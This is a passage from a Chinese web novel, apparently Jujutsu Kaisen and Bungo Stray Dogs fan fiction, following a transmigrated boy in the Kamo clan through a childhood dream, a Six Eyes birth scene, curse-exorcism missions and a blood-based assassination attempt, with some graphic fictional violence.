“为什么这具身体是我自己的,你们不是说用的是3103融合世界的吗!”
【抱歉,您目前权限不足,系统无法告知】
藤原千代又拐着弯地问了好几次,但最终得到的都是同一个答案。
气得他恨不得咬它两口,可惜系统根本没有实体。
因此他也只能愤愤地咬了咬被角,窝窝囊囊地说:“救济积分结算,这总可以了吧!”
【检测到宿主祓除一级幻想咒灵半身女,获得救济积分*15,目前剩余救济积分:-85】
“就给15点!扣得时候倒是痛快,统扒皮!而且为什么祓除前两个咒灵不加救济积分,你们怎么算的!”
藤原千代听到系统的回答后,气得立马从床上翻坐了起来,等待着系统的回答。
【经检测推演,宿主您祓除的另两只咒灵本身不会造成人员伤亡,因此无法增加救济积分】
“所以救了一个佐藤夏生就增加了15点救济积分?”藤原千代眼睛咕噜噜一转,问了一个截然不同的问题。
【经系统推算,半身女在没有您的干预下,会继续造成三人死亡,您所说的佐藤夏生并未在其中】
果然,加茂健太没有骗我。在不能迅速祓除咒灵的时候,总监会的确会不停派发任务,让人一刻都不能得闲。
御三家这种高压的工作强度和完全不接受教育的成长环境,培养出来的小咒术师除非老天赏思政课吃,否则要么是一群蠢货,要么干脆就是一群疯子。
而像佐藤夏生一样非家系出身的咒术师,也许本身受到过良好教育,但如果一直处于精神压力很大的工作下,又得不到纾解,人也只会慢慢被逼疯。
家系和非家系的咒术师,都牢牢掌握在总监会手中。
而一旦有咒术师在思想上有异动,想要反叛。总监会又拥有调控咒灵祓除任务的权力,可以直接在对方任务上偷摸做点手脚,让他立马消失。
真是打的一手好算盘,什么目的是拯救普通人,完全是一群党同伐异的渣滓,从骨子里就是烂的!
藤原千代想明白背后的事情后,整个人都陷入了深深的疲惫之中。
想要彻底解决这些问题,就必须让咒术师的特权完全消失,也就是让咒灵不复存在。
但是他完全不能确定的是,这样做的话会不会导致咒力体系产生不可控的异变。
3103融合世界的两种力量体系的其中一种完全消失,会不会直接导致世界的崩溃,让大家一起玩完。
但现如今系统商城无法打开,藤原千代根本没有办法从里面的道具推断出什么,又不能直接去问系统,因此他也只能压下自己内心的想法。
“算了,遇事不决,睡大觉!”
藤原千代翻了个身,不再思考这些问题折磨自己。很快,就陷入了深层的睡眠。
他再次回到了那所令他十分安心的孤儿院。
梦境是连续的。
从禁闭室里出来以后,藤原千代就被院长带到了一处屋内。
里面大大小小的孩子凑了十几个,几个人共用着一个桌子,面朝着黑板坐下。
黑板上用粉笔写着几个汉字,又标有假名读音。
一间简陋的教室。
藤原千代的视线落在屋内坐着的一堆小萝卜头的身上,一群小孩望向‘自己’的视线各有不同,但绝大部分都是善意的好奇。
“坐回去,别耽误上课。”
院长短促冰冷的声音从身后传来。
他感受到‘自己’迈开了双腿,加快脚步地走向了角落。
只有一个人坐在那面桌子旁,留着奇怪斜刘海的白发‘女孩’。
‘她’一双水润的眼眸微垂,身体有些瑟缩,看起来是个有些怯懦的‘小姑娘’。
察觉到‘藤原千代’走过来以后,抬起头看向他的眼神中满是慕孺和信赖。
等到‘他’落座以后,‘她’迫不及待地压低声音说道,
“千代哥,你没事吧!”
声音里满是担忧和自责。
“都是我不好,撞翻了水桶。害得你替我去被关禁闭。”说着说着,‘她’吸了吸鼻子,眼中蓄满的泪水即将落下。
‘藤原千代’撸猫似的揉了揉女孩的头,又捏了捏‘她’的掌心。
语气轻快地说道,“完全没有事哦,阿敦。”
“关禁闭除了有点黑其他完全无所谓的嘛!你也知道我不太喜欢上这些课,还不如去禁闭室睡觉呢。”
但‘女孩’显然没有被这么轻易地打发过去,张了张口想要再说什么。但院长讲课的声音已经从前方响起。
听到后的一瞬间两人都条件反射地摆正身体,紧闭双唇不再说话。
课程安排的很满,一节接着一节。
藤原千代听的有些无聊,于是腾出心思打量了一圈周围的孩子们。
什么年龄段的都有,但都坐在同一个教室里一起上着小学课程。
不过仔细看过去就会发现,里面甚至还有应该去上保育园的孩子,在里面迷迷糊糊地点头眯觉。
那些稍大一点的孩子也没有在听课,而是自己抱着本书在看。
很奇怪的课堂组合,更像是没有办法送孩子们去上学,而将所有人一起组织起来看管。
但这个时间段也不像是在放假,所以是学校大面积停课了吗?
信息量太少,藤原千代想不明白。
一上午的课程在他昏昏欲睡的状态下过去了,等他清醒以后就发现‘自己’正和那个‘女孩’在一起吃饭。
很简单的饭菜,只是能做到填饱肚子。
两人的面前各自摆放了一碗酱油拌饭,一份简单的水煮萝卜和青菜。
以及一大杯水。
‘藤原千代’只是挑着水煮菜在吃,米饭倒是吃的不多,看样子没什么胃口。
但是‘女孩’吃的很香,不知道的还以为是在吃什么珍馐美味。等她自己所有的米饭扒完以后,看起来还是有些意犹未尽。
而‘藤原千代’看到后,则趁着此刻没人注意,偷偷摸摸地将两人的饭碗调换了个顺序。
动作十分流畅,看起来这种事两人没有少做。
‘女孩’则是瞪了‘自己’一眼后,继续扒起了米饭,将两碗饭吃得干干净净。
但虽说是两碗米饭,实际上量少的可怜,也就将将能够一个七岁的孩子吃饱。
只是看面前‘女孩’的样子,恐怕这样还不够。
果然在‘藤原千代’停下夹向萝卜青菜的筷子后,‘女孩’将剩下所有的菜都吃了个干净。
还没完,‘她’又猛灌了一杯半的水后揉了揉肚子,笑得眉眼弯弯。
好家伙,这么好养活!
话虽如此,但藤原千代看着面前孩子脑袋大大又身体瘦削的样子,有些难过。
吃完饭后,‘女孩’的脑子又可以开始运转了,继续课前的话题说道,“千代哥,下次你不要再替我认罚了!我……”
但没等‘女孩’说完,‘
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藤原千代’就嘘了一声,挤眉弄眼地冲她小声说道,
“哇!笨蛋阿敦,你那么大声要是被院长听到了,我不就白被关了吗!”
“更何况这次是我先逗你,才导致你撞翻水桶的,我这个做大哥的才没有那么逊,让小弟来替我承担错误呢!”
面前的孩子被‘藤原千代’的话逗得两腮微鼓,脸颊微红,微瞪着一双眼睛,低声争论:“什么大哥!你吃的都没有我多,应该叫我大哥!”
“好嘛好嘛!中岛大哥!你就替小弟吃了这些酱油拌饭吧,太咸了,我不行的~”
‘藤原千代’双手合拳,摆了一个不伦不类的作揖的姿势,逗得面前孩子笑得前仰后合。
但听到二人之间称呼后,藤原千代微微一楞,仔细打量了一下面前的这个身形瘦小的孩子。
长得稚嫩清秀,一双眼眸水润灵动,皮肤透亮白皙,竟然是个男孩!
完全看不出来啊!
这次的梦境持续时间很长,藤原千代过了一段吃饭睡觉逗小孩的清闲日子,深觉咒术界根本不是人能待的地方,根本不想醒来。
直到一个月圆之夜的晚上。
孤儿院虽然伙食不好,但占地面积很大,里面的孩子也不多。
因此每一个孩子都拥有自己单独的小房间。
而藤原千代的那个小屋正好有一扇大的珐琅窗,月光透过打开的窗户,会在地面留下一块块的彩色光块。
窗户下能照到月亮的地方,被摆放了一把凳子。
“扣扣”
房间门被敲响,‘藤原千代’没有丝毫停顿地打开了门,迎接来人进来。
是中岛敦。
他正抱着自己的枕头和被子站在门外,稚嫩的脸上满是羞涩和不安。
“千代哥,今天是月圆夜,我害怕……那个老虎……”男孩声音颤抖,但没等他说完,‘藤原千代’就拉着他的手将他领到了屋内。
干燥而温暖的手掌,很大限度地缓解了中岛敦整个人紧张的情绪。
“没关系,我一直在等你哦,阿敦。我们之前不是商量好了嘛!月亮最圆的时候,你就偷偷来找我。院长不会说什么的!”
‘藤原千代’好像早就了解中岛敦的恐惧,将他轻轻地牵到了榻榻米旁,并熟练地铺好了床铺。
“一起睡,梦里老虎不会来找你的。你要还觉得害怕,就捏着我的睡衣。”
“嗯!”中岛敦的声音不再颤抖,整个人扑进了‘藤原千代’为他铺好的被窝里,捏住了他的衣角。
“千代哥,你最好了!我会帮你吃一辈子的酱油拌饭!”孩子稚嫩的声音响起,言语中满是天真的愉悦。
藤原千代不禁有些失笑,这倒霉孩子。
在两人躺下后不久,中岛敦绵长的呼吸声就从旁边传来,他睡着了。
‘藤原千代’有些困倦,却一直强撑着精神,没有睡过去。
藤原千代有些迷惑,‘自己’前几天的休息时间一直都很规律,今晚怎么回事。
很快他就知道了。
月光下,中岛敦的身躯逐渐变化成了一只浑身雪白的幼虎。
它在被窝里睡得很死,还有点微微打鼾。
‘藤原千代’丝毫没有意外这一场景,顺手捏了捏幼虎粉嫩的耳朵和爪垫,然后将它从被窝里抱了出来,揽到了怀里。
‘他’抱着老虎站起身,走到了窗户下的座椅上坐下,静静地晒着透过窗户缝隙照射进来的月亮。
这是‘他’很久才总结出的规律:只有在变身的时候晒足了月亮,阿敦才不会因为能量消耗过大,一直喊饿。
一个孩子就那么抱着怀中的白虎,披着被子,悠悠地晒了半晚的月光。
时间差不多后,‘他’悄悄将白虎放回了被窝里,并躺在床铺里沉沉睡下。
而在两人未曾注意的月光下,孤儿院院长也静静地站在那里陪了很久。
13. 有条子
无影灯光线惨白,狭小的房间内弥漫着一股消毒水的气味以及若有似无的血腥气。
五条千美惠头发披散着躺在床上,嘴中死死咬着一叠布块,额角青筋暴起。
生产的疼痛让她死死抓住身下的产褥垫。冷汗从毛孔中渗出,将她头发打湿,像一条条的漆黑小蛇缠绕盘旋在她脸上,遮掩着面容。
目光越过她隆起的腹部向墙面看去,原本应该刷成淡蓝色的墙壁写满了密密麻麻的朱红符文。从天花板一直蔓延至她身下产床所处的地面,层层环绕,像是祭典邪礼的诡异现场。
“产妇跟着我的指挥用力,孩子快出来了。”
助产士冷静的声音在她耳边传来,五条千美惠顺着她的要求用力。
血腥潮湿的空气在一呼一吸间侵入肺部,伴随着腹部强烈的痛感让她几欲呕吐。
眼前逐渐发昏,她看到了身旁正围绕着三个穿着蓝绿色手术服的人。
一阵剧烈的撕裂痛之后,婴儿的啼哭声响彻整个房间,五条千美惠的视野逐渐模糊,但她扔强撑着一口气没有晕倒。
“让我看看…我的孩子…”虚弱的声音响起,多亏助产士时时刻刻关注着她的情况才没有错过。
“出来了,是个男孩。”
就在助产士想要将孩子抱起时,五条千美惠却发现从旁边伸出了一双手,抢先了一步。
“为什么这孩子没有睁开眼睛?”
低沉冷静的声音在五条千美惠的耳边响起,让她感到熟悉又陌生。
来自她的丈夫,五条阳斗。
更是五条家的家主。
五条千美惠好像已经预料到了什么,刚刚强撑着想要看一眼孩子的心气散了下去。
她缓缓地闭上了眼睛,放任自己的意识沉入黑暗。
“新生儿的眼睛三五天内会正常睁开,现在没睁开都是正常现象。”产床旁正在帮五条千美惠缝合伤口的接产医生说道。
在缝合的间隙,她抬头看了看一旁机器的数值,补充说道,
“产妇虽然没有大出血,但身体有些虚弱,各项指标都有些低,注意……”
五条家主看着新生儿迟迟未睁开的双眼,没有再细听医生说些什么,准备直接上手掀开孩子的眼皮。
“哎!”助产士发现男人的动作后惊呼出声,急忙上前想要阻拦。
就在这时,白发婴儿的啼哭声停止,缓慢睁开了双眼。
五条阳斗对上了一片澄净的蓝色,犹如天空的无限展延,带着摄人心魄的神性。瞬息之间,让他感觉到自己好像从□□到灵魂都被这双眼睛看穿。
五条阳斗抱着孩子的动作一颤,随即脸上浮现出狂热的神情。
“果然是六眼!”
一旁的助产士急忙查看新生儿的状态,却发现他哭泣的声音已然停止,呼吸开始变得滞涩,浑身皮肤瞬间变得通红。
“孩子状态很不好!”助产士的声音焦急,接过孩子想要抢救。
而五条家主则立刻从一旁已经准备好的箱子中拿出了块厚重黑布,手脚麻利地将孩子裹了起来。
神奇的是,在包上的一瞬间,白发蓝眼的孩子缓缓闭上了双眼,哭泣声重新响起,呼吸也变得平稳正常。
“没消毒!这是什么东西!!!”助产士发出了尖锐的爆鸣,她接生这么多年以来,还是第一次遇到这么奇怪的家庭。
不去医院的手术室,而是在写满了密密麻麻符文的房间内生产不说,还不给产妇打麻药,说是会影响婴儿大脑。
现在更是直接用不知道哪里来的破布把新生儿裹起来了!
如果不是钱给的足够多,她根本不会来这里,但现如今看到这家如此荒谬的举动和超乎她认知的场面,更是脊背发毛。
就连五条家主抱着孩子直接往外走也没有过多阻拦,直到接产医生拍了拍她的肩膀时,助产士才反应过来。
这一间不伦不类的产房里此刻就剩她们两人了,产妇刚刚被一群老妪连床一起推走了。
她刚想要道谢,就发现接产医生眼神中满是惊恐,正死死盯着自己身后。
深夜,一处平平无奇的房屋内,突然响起了几道带着血腥气的惨叫,又很快归于寂静。
唯有悉悉索索间响起的那道令人牙酸的咀嚼音昭示着这并非是幻觉。
五条家有六眼降生的消息并没有传出来,被死死瞒在了长老会的手中。
而与六眼降生所伴随的咒灵能力大幅度增强,则被他们心照不宣地推到了加茂家的那位赤血操术的身上。
这是他们五条家的六眼,在他完全成长之前,绝不允许再出现像之前一样被人暗害的情况。
.
黑色帐下,咒灵的惨叫伴随着爆炸声同时响起。
藤原千代扭了一下头,想要躲避向他飞溅而来咒灵鲜血。但还是不可避免的被沾了一点在他的脸上。虽然知道很快就会消失,但还是让他不可遏制的擦了擦脸。
好脏。
藤原千代眉头紧蹙,刚刚因为濒临死亡而疯狂跳动的心脏也缓慢平静下来,大脑开始恢复运转。
好奇怪,刚刚的这个咒灵,比他之前见过的都要强。
或者说,咒灵现在越来越强了。
如果他刚刚不是用异能力控制它的血液在体内直接爆炸,而是继续伪装成赤血操术的话,恐怕现在已经死了。
但现在,还需要担心另一件事,就是……
“千代君,您没事吧!”佐藤夏生的声音从他脚下的缝隙中传来,顷刻间出现在了他的面前。
是的,现在佐藤夏生现在和他是搭档了。
在加茂健太递交那个半身女的任务报告后,加茂家主就对这个拥有特殊防御型术式的佐藤夏生起了些许兴趣。
加茂健太知道家主对防御型术式的关注仅次于天与咒缚,甚至连那个加茂荣受到如此优待也是因为防御型术式的原因,因此他丝毫没有隐瞒自己对佐藤夏生的调查。
将他查到的关于‘匣藏’的术式情报和佐藤夏生的身份背景全都汇报了个遍。
因此在加茂家主提出再详细调查一下佐藤夏生,没有问题就安排他和加茂千代组成搭档的时候,加茂健太绿着脸想要阻止却发现自己完全说不出什么站的住脚的理由。
佐藤夏生此人,从术式到体术甚至到性格,确实都比加茂家的小辈适合去做加茂千代的搭档。
虽然加茂健太他是一个加茂吹,但也确实说不出自家小辈比佐藤夏生更正常的鬼话。
就这样,在加茂家主派人将这个佐藤夏生调查了个底朝天,发现没有问题后,加茂健太也只能任命地将他塞到了藤原千代的身边组成了搭档。
至于佐藤夏生的特殊爱好,则完全被加茂家主当做控制他的把柄,更何况这点问题和咒术界这群完全不正常的咒术师中,显得十分小清新。
而这一番的调查藤原千代完全不知情,以至于在他的下一次任
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务前,看到被调到加茂家和他一同训练的佐藤夏生时如何震惊和绝望,就不可知了。
就如同加茂家主预测的那样,在平常的咒灵祓除任务中,两人也确实配合十分默契,甚至摸索着搞出了一整套的游击战术。
鉴于藤原千代年纪属实太小,佐藤夏生自认为不是人渣,因此战斗中仅拜托藤原千代用穿血制造出合适缝隙,发动术式匣藏将小孩藏起来。
再由佐藤夏生吸引咒灵来到此处,藤原千代在暗处猥琐偷袭,祓除咒灵。
就这样二人无伤速通了一个又一个咒灵任务,藤原千代的救济积分越来越多,也即将到达正数。
但这样的潇洒的任务生活刚刚过了两个月,他们就发现咒灵的智慧越来越高。
普通的钓鱼执法已经有点力不从心,完全不能这么简单的祓除咒灵了。
但直到此刻,这个战术被彻底打破了。
这次他们祓除的这个咒灵,明显智商较高。在他们进入帐后,一直躲藏,完全未曾露面。
但佐藤夏生的咒力量有限,没有办法让藤原千代一直躲在缝隙里等待祓除机会。
因此只能将藤原千代先放出来,等到咒灵出现后再藏回去。
但出乎二人预料的是,这个咒灵的智商已经高到了如此地步,竟然在藤原千代出现的一瞬间突脸强杀。
佐藤夏生在咒灵出现后,反应迅速地将藤原千代藏起,但咒灵的攻击落下,缝隙瞬间被砸穿。
藤原千代从藏身的地方掉了出来。
佐藤夏生看到后被吓得心脏骤停,挥剑阻挡了咒灵的下一次攻击后被瞬间打飞,撞倒了一排墙壁。但又丝毫不敢耽搁的发动匣藏,通过缝隙瞬移回来救人。
正好看到咒灵再次冲向藤原千代的场景。
好在藤原千代根本不是所谓的赤血操术,在咒灵冲上来的一瞬间,他就下意识的发动了异能力,瞬息之间祓除了咒灵,并被溅了半脸血。
好了,小命是保住了,他现在唯一需要担心的就是如何和佐藤夏生解释。
“太强了!千代君。你的爆血真是越来越强了!现在已经隐蔽到一点痕迹都发现不了!之前还能观测到血球轨迹,现在是只能看到咒灵爆炸!”
“危机之中的超进化对吧!我刚刚也是,‘匣藏’已经可以用来瞬移了!超进化,使出了超进化!咻~嘭~咻~的一下,咒灵就爆炸了!”
‘好了,不用担心了,佐藤夏生也没脑子。’
藤原千代在心里偷偷翻了个白眼。咒灵消失后,漆黑的帐缓慢升起,阳光重新照射了进来。
二人一同向外走去,藤原千代却在辅助监督的车旁见到了一个熟悉的人影。
是加茂健太。
自从他和佐藤夏生搭档以来,他只在平常训练的时候见过加茂健太,现如今在这里突然遇到他,藤原千代突然升起了一种不祥的预感。
果然,据他所说,从前天开始,加茂千代的人头在暗网上的悬赏金额就一直在疯涨,现如今已经高达一亿日元。
根据加茂家调查出的理由来看,竟然是因为不知道从哪里传出来的,咒灵强度的增强与加茂家的祖传术式赤血操术有关系。
因此加茂家家主立刻派出加茂健太前往加茂千代的任务地点,保护他安全回到加茂家。
而就在二人告别佐藤夏生坐车回到加茂家的路上,意外发生了。
“砰”的一声响起,他们的车前方砸了一个人。
14. 极道双人组
阳光斜斜的照射在柏油马路,西装革履的工薪族三五成群,将上班的郁气抛之脑后,相约前往街角的居酒屋。
道路上有车辆在其中缓慢移动,和行人在狭窄的街道上争道,伴随着汽车喇叭声和电车轨道叮当声交错背景音,形成界限模糊的奇特街景,繁忙而平和。
“砰”的一声响起。
人群中爆发出刺耳的尖叫,汽车喇叭声和警报声此起彼伏,事故中心的人向周围散去,留出大段空地,眼尖的司机立刻趁此机会迅速操纵车辆远离,漏出事故中心的场景。
此刻外围摸不到头脑的人群才见到了究竟发生了什么。
竟是有人直接从高处坠落,一头栽进下方汽车副驾驶的挡风玻璃中,脑浆和血液留了满地。
大部分人看到后迅速离去,以免惹祸上身,甚至有承受力差的人当场呕吐,又被周围朋友拖走。
仅留下了一部分胆子大的人站在周围围观。
“是恐怖袭击!一定是恐怖袭击!”
窃窃私语的声音响彻不停,他们纷纷观察着驾驶室坐着的男人。
被喷溅了一脸的血液和肉块,又被弹出的安全气囊撞了个正着的男人面容扭曲。
他脱下西装外套努力擦了擦脸,将滴滴答答坠落血肉擦了个囫囵后,扭头冲后排的人说了些什么,这才打开车门下车。
人群这才发现,后排还坐着一个年纪不大的小孩,面色发白。
“好可怜,这下会是一辈子的心理阴影了吧。”
而这个即将留下心理阴影的小孩就是藤原千代。
从任务地点出来以后,加茂健太就一直在往商业街开,据他所说是因为这样诅咒师不敢下手。
但两个人都忘记了这个点正是下班的晚高峰,因此加茂健太的车越开越慢。
起步…刹车…交替的越来越频繁。
藤原千代坐在汽车后排,呼吸着混合着皮革和汽油味的空气,整个人的脸色越来越难看。
偏偏加茂健太还在前面说什么有危险,连开窗的机会都没有,让他一点喘息的空间都没有。
胃里酸水直往外冒,藤原千代闭上眼睛默默忍耐。就感受到车辆猛地一停,然后就是砰的一声撞击声。
藤原千代一个不稳就往前仰去,但还好他系着安全带,才没有撞到头。紧接着空间内传来一阵铺天盖地的血腥味,他心里暗道不好。
果然,等他睁开眼后,就发现前挡风玻璃从左侧炸裂。碎玻璃撒了一片,好在有座椅在前方挡着,所以他并没有受伤,也看不到砸入车中的人究竟是什么情况。
但看到加茂健太被喷溅了半身的血肉后,藤原千代也歇了探究的心思。
驾驶位的加茂健太擦完脸,扭头冲藤原千代嘱咐道:“少主,您先别下车,我去下面看看情况,然后给加茂家的负责人打电话,让他们来处理。”
语毕,他就打开车门下车,没有关注那些窃窃私语的人群,而是直接走到了那个砸入车窗的人,或者说尸体面前。
黑紫色的咒力遗秽赫然围绕在男人身侧,昭示着自己的存在。
果然,不是意外。
好猖狂的诅咒师,在众目睽睽之下如此挑衅,加茂健太面黑如土。
他抬头环视了一圈周围的高层建筑,并没有发现可疑的人影。咒力遗秽也只是在这具尸体上凭空出现,没有留下其他的痕迹。
围观的人员见到加茂健太面色沉静地下车观察,更加坚信了这是一场针对性的恐怖袭击,可能是什么极/道组织的报复,在报警时也在不断强调恐怖袭击。
不过多时,就有警笛声响起。
穿着深蓝色制服,腰间别着呼叫机和警棍的黑发警察从车中下来后,神情凝重的看着惨烈的现场与站在一旁神情镇定的加茂健太。
“封锁现场,疏散一下周边。”
他沉稳冷静的声音响起,指挥着从警车上下来的其余人行动。
亮黄色警戒线拉出,小警察上前与周围无关人员沟通,人群和车辆逐渐被驱散。
而后领头的那位黑发警官走到了加茂健太身侧,出示了自己的证件,并向加茂健太递出一张洁白的手帕,说道:
“您好,我是搜查科的巡查部长,前田悠太。请您仔细描述一下案发经过。”
加茂健太并没有推脱对方递来的手帕,又简单的擦了擦脸,将自己面容上的血迹糊的更均匀了点。
“谢谢您,警官。”
虽然不愿与普通警察多做交流,但他依旧简单叙述了一遍案件经过。矢口否认对方提到的报警人和周围群众所说的恐怖袭击。
而对方提到的其余一切问题,都是一概不知。将自己伪装成一个倒霉司机,专心等待着加茂家派来的相关人员进行处理。
前田悠太看着面前遭遇如此恐怖事故又满脸都是鲜血,却依旧镇定自若的加茂健太,神情一凛。
他完全不相信对方说的无关路人的狗屁言论。真要是个普通路人,现在早就坐在警车里围着毛毯喝热茶了,哪能是他这一副拒不配合的滚刀肉表现。
但鉴于对方现如今是受害者的身份,他不能多说什么。
就在这时,他听到了对方车辆处传来的开门声,警惕地望了过去。
藤原千代在车上坐的有些憋闷。鼻腔内涌入的普天盖地的血腥气,让他几欲作呕。
呆坐了一会后,毅然决然的打开车门下车透气,即便刚刚加茂健太再三嘱咐他不要下车,说什么有诅咒师的刺杀。
他只觉再不打开车门,不用等人来刺杀,此刻他就要暴毙了!于是他下车后,快步走到了加茂健太旁边,和对方大眼瞪小眼。
前田悠太循着开门声望去,发现从车上下来了一个年级不大的黑发小孩,面容苍白,脚步虚浮。内心对加茂健太的怀疑有些许消散。
但紧接着,他就看到加茂健太对那个孩子的鞠了一躬,言语尊敬,做足了家臣的样式。
前田悠太内心怀疑的火苗噌的一下又死灰复燃。
‘极道二人组,好可刑可拷啊,想带回去。’
就在前田悠太手指蠢蠢欲动的时候,一辆警车带着一辆私家车直接开到了事故现场。
等看到熟悉的人影后,他的瞳孔狠狠一缩。虽然来人前田悠太十分熟悉,特殊对策部门的警部,加茂雄。
此时此刻,对方同姓加茂的巧合让他无法轻易忽略。
前田悠太心里一沉,深觉日本警察前途渺茫,但他面色未表,只是冲来人敬了个礼,说道:
“加茂警部。”
加茂雄走上前来,拍了拍前田的肩膀,说道:“前田老弟,辛苦你们巡查部了,接下来的事情就由我们特殊对策部接手了。”
“稍后请你带队去签一份保密合同,然后收队回去吧。”
特有的职场文化让前田悠太没办法多说什么,只能愤愤地带队离开。
在他走后,加茂健太上前和加
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茂雄打过招呼,就和藤原千代坐上加茂家准备给他们的车离开了现场。
路上,藤原千代一直偷偷用余光打量着加茂健太。
从上车开始,他就沉默地坐在座位上闭目养神,无视了司机递来的湿手帕。
并且,
安静,太安静了。
加茂健太从上车开始就一直没有说话,这根本与他平常的人设不符合。
更何况,今天的案件如此巧合,必然是诅咒师所做。但只依靠扔下一个人砸向行驶中的汽车来暗杀咒术师,成功率太低。
难道只是用来挑衅吗?
藤原千代心中思绪翻飞,但面色未变。只是偷偷将手搭在了卡扣上,浑身肌肉紧绷,异能力蓄势待发,防备加茂健太可能随时暴起伤人。
“停车。”
不过多时,加茂健太低沉的声音响起,与平常没有区别。
但在藤原千代耳中,反而因为太过正经反而有些OOC。
车辆停在了一个荒凉的位置,加茂健太低垂着头,神情藏在阴影里,看不太清。
司机没有接受到下一个指令,有些不明所以的扭头看了看他。却看到了恐怖的一幕。
加茂健太脸上没有擦干净的鲜血不知何时汇聚在了一起。原本呈现出的血红色随着时间氧化,此刻隐隐有些发暗。
汇聚而成的血线,此刻像是活物一般在他的脸上蠕动。
藤原千代注意到车内有些安静,抬头看了眼后视镜,却对上了加茂健太漆黑的眼瞳。
那双眼中没有丝毫的情绪,就像是一对暗沉沉的黑洞,与藤原千代无声的对视。
眼瞳上有暗沉氧化的血虫在旁边爬行,但加茂健太却状若未觉,甚至连眼睛都没有眨一下。
在发现藤原千代在和他对视后,加茂健太嘴角疯狂上裂,甚至隐约有些撕裂。嘴角的血液流淌过他雪白的牙齿。
牙关上下颌动发出声音。
明明此刻他的表情十分扭曲,但声音却与之抽离,没有丝毫波澜。
“怎么了,少主?为什么这么看着我。”
他丝毫没有发现自己的异常。
司机眼神惊恐,想要大叫,但死死憋住。
长久以来在咒术界生存的经验告诉他,此刻应该保持平静,当一切都没有发生。
‘鲜血有问题。’
藤原千代顷刻意识到这个问题后悄悄凝结出冰刀,在自己的手心处划了一道。
顿时手掌有鲜血涌出,又被他控制着向前牵引,偷偷爬到加茂健太脸上,与加茂健太脸上的血虫混合在一起。
‘好了。’
藤原千代异能力发动,将加茂健太沾染上的鲜血抽离后,凝聚成一个血团,漂浮在空中。
在血液脱离后,加茂健太的眼瞳逐渐回复正常,疯狂上扬的嘴角也被抿平。
“嘶……”
加茂健太感到嘴角一疼,他抬手摸了摸自己的嘴角,摸了一指节的鲜血,登时察觉到事情有些不对。
在听到藤原千代指出他被控制后,整个人脸色黑如锅底,吩咐司机加快速度回到加茂家。而加茂健太则拿出手机向加茂家主汇报。
未曾想,加茂家主此刻已经向他打来。没有犹豫,他立刻接了起来。
.
瓷器碎裂的声音在室内响起,加茂荣的表情阴沉,挥退了面前正在汇报工作的下属。
‘加茂健太的脑中的咒文被人动了。’
15. 一个人的捉迷藏
一个布满帐的漆黑房间内,烛火无风摇曳。
加茂家主正端坐在座椅上,闭目养神。
刹那间,他好像是意识到了什么,眉头一皱,睁开了双眼。
男人苍白的手指伸向一旁的座机,缓慢拨动转轴。
‘咔哒咔哒’的声音响起后,电话成功被拨出,又很快被接起。
对方恭敬的声音透过电话筒传来。
“家主大人。”
.
“健太,你有些松懈了。”
平静温和的声音从电话中响起。仅是简简单单的一句话,却让加茂健太额角微微冒汗,浑身有些发毛。他张了张嘴,想要解释些什么。但余光看到了一旁的藤原千代和司机,喉咙一僵,即将说出的话语被止在了口中。
加茂健太的大脑飞速运转,组织了一下措辞,说道:
“属下已经按您的吩咐接到了赤血操术。但在返回加茂家的路上遭遇了袭击,好在千代君安然无恙。只是…… ”
加茂健太嗓音微微发紧,但还是补充着说完了后半句。
“只是并没有捉到袭击的诅咒师,对方能力疑似可以远程通过血液控制人的精神。好在千代君及时阻止。”
“只是对方后续的具体攻击手段未知。而且根据现场没有留下咒力遗秽来看,不排除对方是横滨那边的异能力者的可能性。”
加茂健太汇报完一切后,手机中传来的加茂家主的声音并无起伏,好似丝毫不在意这一切。
“既然如此,那确实很棘手。健太你将加茂千代送回加茂家后,去找加茂荣检查一番后来找我。”
“至于那个疑似异能力者的袭击者,加茂家会再派人和加茂千代一起去解决。”
紧接着,嘟嘟嘟嘟的忙音响起,加茂健太听到对方直接切断了通讯。
他紧绷的脊背微微一松,但一想到接下来回到加茂家可能面对的事情,内心就又一沉。
没等他多做纠结,加茂家的司机很快就将车停在了一栋漆黑的桧木建筑前。
一枚雕刻着加茂字样的青铜铃铛悬挂在屋檐。
昏沉黯淡的日光下,铃铛正随着吹来的风起伏摇摆。
等藤原千代和加茂健太下车站稳后,司机迅速驾驶着车辆远去,很快消失不见。
门口的守卫接过加茂健太递来的木牌,核对二人的身份。
确认没有问题后,他推开了木质大门,微微躬腰等待他们进入。
二人先后穿过了加茂家设下的一层层的帐,踏入了加茂家的宅邸。
临分别时,藤原千代将自己处理过的,仅剩袭击者血液的血袋递给了加茂健太,就回到了自己的宅院。
小岛葵也已经像往常一样,静静地等候在院落门口。
藤原千代从善如流地停在了她面前,闭上了眼睛。
女人从随身的红色小布包中取出了一把粗盐,由上而下地洒在藤原千代头上。
雪白的盐粒落在藤原千代的头发和衣领上。
“污染此子的邪秽,请就此祓除。”
女人低沉暗哑的话语伴随着沙沙声在藤原千代耳边响起。
紧接着他感受到盐粒砸在头上和脸上,皮肤微微刮痛。
等到击打感消失后,藤原千代睁开了双眼,对上了小岛葵平静的目光。
“任务辛苦了,欢迎回来,加茂少主。”
女人侧过身微微弯腰,让出了进屋的道路,语气恭敬而又顺从。
“嗯。”
藤原千代冷漠的声音响起,抬脚迈入了屋内。
如他所料,小岛葵已经为准备好了饭菜和热水。
作为一个被认为拥有赤血操术的人,藤原千代在加茂家的日子过的单调而苦闷,每天除了接取咒灵祓除的任务以外,就只剩下训练。
现如今因为遇到了诅咒师袭击的事件,负责他训练的加茂健太抽不出时间,因此藤原千代也得到了为数不多的休息时间,得以复盘今天发生的一系列的事情。
‘受到诅咒师袭击时,加茂健太接通的那通电话,不出意外应该是那位至今都没露过面的加茂家主打来的。前脚刚解决诅咒师的袭击,后脚对方的电话就到了,这个加茂家主对外界的掌握程度可见一斑。’
藤原千代郁闷地躺在加茂家准备的榻榻米上,戳了戳肚子。
‘不过,不知道经过此事后,加茂家的安排将会如何改变。如果因此而将我继续拘在加茂家,那救济任务就会再次停滞不前。’
‘虽然最近几个月做了许多咒灵祓除任务,但能加救济积分的少之又少。直到现在,那玩意也一直都是负数,根本打不开系统商城。别说购买商城道具了,连里面究竟有些什么道具都不能看看。’
这边藤原千代满腹郁闷,另一边的加茂健太则是分开后立马前往了加茂荣的宅落。
他被门口早已等候多时的仆人引至了一方和室内,看到了加茂荣正坐在里面等他。
看到他进来,加茂荣嘴角扬起,想要说些什么。
未曾想加茂健太却直直的略过了他,随手将手中紧握的血袋放桌子上摆放着的托盘中,挥挥手让站在一旁的仆人送走。
“不用多说什么了,直接开始吧。家主还在等着我去汇报。”
加茂健太低沉的声音在室内响起。紧接着他走到了加茂荣附近,脱下了上衣。
